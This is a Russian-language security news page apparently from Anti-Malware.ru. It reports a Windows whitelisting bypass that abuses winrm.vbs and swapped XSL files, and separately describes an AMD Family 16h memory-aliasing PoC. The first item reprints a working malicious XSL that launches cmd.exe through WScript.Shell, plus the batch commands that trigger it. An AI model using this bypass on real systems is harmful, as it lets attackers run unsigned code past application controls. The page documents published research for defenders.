В Windows найден метод обхода белых списков приложений

В Windows найден метод обхода белых списков приложений

В Windows найден метод обхода белых списков приложений

Исследователь в области кибербезопасности Мэтт Гребер нашел интересный метод обхода белых списков приложений в Windows. Помимо этого, эксперт описал технику выполнения произвольного неподписанного кода в winrm.vbs.

winrm.vbs (подписанный Windows скрипт в System32) способен выполнять контролируемый злоумышленником XSL, который не попадет под ограничения «enlightened script host», в результате это приведет к выполнению произвольного неподписанного кода.

«Если вы добавляете “-format:pretty” или “ -format:text” в winrm.vbs, он вытащит WsmPty.xsl или WsmTxt.xsl из каталога, в котором находится cscript.exe. Это значит, что атакующий может скопировать cscript.exe в нужное ему место, где находится вредоносный XSL», — пишет специалист.

«Благодаря этому киберпреступник может добиться выполнения произвольного неподписанного кода. Эта техника практически идентична описанному Кейси Смитом методу с использованием wmic.exe».

Что касается Proof-of-Concept, эксперт опубликовал следующие шаги:

  1. Поместить вредоносный файл WsmPty.xsl или WsmTxt.xsl в контролируемую атакующим директорию.
  2. Скопировать файл cscript.exe или wscript.exe в ту же самую директорию.
  3. Выполнить winrm.vbs с «-format», указав «pretty» (если был помещен файл WsmPty.xsl) или «text» (если был помещен файл WsmTxt.xsl).

Исследователь привел пример вредоносного XSL, который можно поместить в контролируемый злоумышленником каталог. В качестве примера эксперт помещает файл по этому пути — C:\BypassDir\WsmPty.xsl.

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
 <ms:script implements-prefix="user" language="JScript">
 <![CDATA[
 var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
 ]]> </ms:script>
</stylesheet>

Грамотное оформление вредоносного файла WsmPty.xsl должно включать использование встроенного пейлоада DotNetToJScript, приводящего к выполнению произвольного кода.

«В процессе помещения файла WsmPty.xsl можно использовать следующий пакетный файл для запуска пейлоада», — объясняет эксперт:

mkdir %SystemDrive%\BypassDir
copy %windir%\System32\cscript.exe %SystemDrive%\BypassDir
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

Контроллер памяти AMD научили обходить аппаратную изоляцию

Исследователь Кристофер Домас опубликовал PoC-проект skitter-creek-bath-salts, демонстрирующий обход аппаратной защиты памяти на процессорах AMD Family 16h. Техника манипулирует настройками контроллера DRAM и позволяет обращаться к областям, которые должны быть недоступны даже операционной системе, ядру и коду с привилегиями ring 0.

Обычно программные и аппаратные механизмы контролируют доступ по физическим адресам.

Но последнюю точку в маршруте ставит контроллер памяти: он переводит адрес в конкретные координаты DRAM — канал, ранг, банк, строку и столбец.

Домас показал, что изменение одного регистра может перенастроить это преобразование уже после срабатывания вышестоящих средств защиты. В результате появляется альтернативный адрес, ведущий к тем же ячейкам DRAM. Охраняемый вход остаётся заперт, но контроллер внезапно рисует вторую дверь прямо в стене.

 

Чтобы система не рухнула, PoC отключает прерывания, подготавливает кеш и таблицы трансляции, ненадолго меняет схему адресации, читает или записывает нужные данные, а затем возвращает исходные настройки.

Для поиска адресов-двойников проект использует линейную алгебру и SMT-решатель Z3. Инструменты восстанавливают связь между обычным и изменённым отображением памяти, после чего вычисляют алиас для защищённой области.

Исследователь продемонстрировал потенциальный доступ к памяти AMD Platform Security Processor, включая данные fTPM, защищённой области System Management Mode, состояниям процессора C6 и хранилищу микрокода. Последний сценарий допускает не только извлечение копии патча, но и её возможное изменение перед восстановлением состояния ядра.

PoC проверяли только на AMD Family 16h. Данных об аналогичной уязвимости в новых AMD, Intel, ARM или RISC-V нет.

RSS: Новости на портале Anti-Malware.ru